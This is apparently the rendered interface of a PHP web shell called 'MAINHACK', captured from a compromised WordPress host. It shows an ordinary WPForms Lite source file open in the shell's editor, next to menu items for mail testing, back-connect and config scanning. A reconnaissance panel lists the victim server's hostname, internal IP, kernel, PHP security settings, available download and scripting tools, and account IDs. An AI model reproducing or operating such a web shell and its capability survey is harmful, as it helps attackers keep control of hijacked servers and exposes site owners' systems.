[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Abilities.php
<?php namespace WPForms\Lite\Integrations\Abilities; use WP_Error; use WPForms\Integrations\Abilities\Abilities as AbilitiesBase; /** * WordPress Abilities API Integration for WPForms Lite. * * @since 1.9.9 */ class Abilities extends AbilitiesBase { /** * Register WPForms abilities for Lite version. * * @since 1.9.9 */ public function register_abilities(): void { // Register common abilities (list_forms, get_form). $this->register_common_abilities(); // Lite-specific: Register form stats ability (basic). $this->register_form_stats_ability(); } /** * Register the form_stats ability (Lite version - basic stats with upsell). * * @since 1.9.9 */ protected function register_form_stats_ability(): void { wp_register_ability( self::ABILITY_NAMESPACE . '/get-form-stats', [ 'label' => __( 'Get Form Stats', 'wpforms-lite' ), 'description' => __( 'Get basic statistics for a WPForms form. Upgrade to Pro for detailed entry data.', 'wpforms-lite' ), 'category' => self::CATEGORY_SLUG, 'execute_callback' => [ $this, 'ability_get_form_stats' ], 'permission_callback' => [ $this, 'check_view_single_form_permission' ], 'input_schema' => [ 'type' => 'object', 'properties' => [ 'form_id' => [ 'description' => __( 'The ID of the form to get stats for.', 'wpforms-lite' ), 'type' => 'integer', 'required' => true, 'minimum' => 1, ], ], 'required' => [ 'form_id' ], ], 'output_schema' => [ 'type' => 'object', 'properties' => [ 'form_id' => [ 'type' => 'integer' ], 'entries_available' => [ 'type' => 'boolean' ], 'message' => [ 'type' => 'string' ], ], ], 'meta' => [ 'annotations' => [ 'readonly' => true, 'destructive' => false, 'idempotent' => true, ], 'show_in_rest' => true, 'mcp' => [ 'public' => true, ], ], ] ); } /** * Ability callback: Get form stats (Lite version). * * @since 1.9.9 * * @param mixed $input Input data. * * @return array|WP_Error */ public function ability_get_form_stats( $input = null ) { $args = $this->normalize_input( $input ); $form_id = absint( $args['form_id'] ?? 0 ); $form_handler = $this->get_form_handler(); if ( is_wp_error( $form_handler ) ) { return $form_handler; } $form = $form_handler->get( $form_id ); if ( empty( $form ) ) { return new WP_Error( 'wpforms_form_not_found', __( 'Form not found.', 'wpforms-lite' ), [ 'status' => 404 ] ); } // Lite version returns limited stats with the upsell message. return [ 'form_id' => $form_id, 'entries_available' => false, 'message' => __( 'Entry statistics require WPForms Pro. Upgrade to access detailed form submission data.', 'wpforms-lite' ), ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697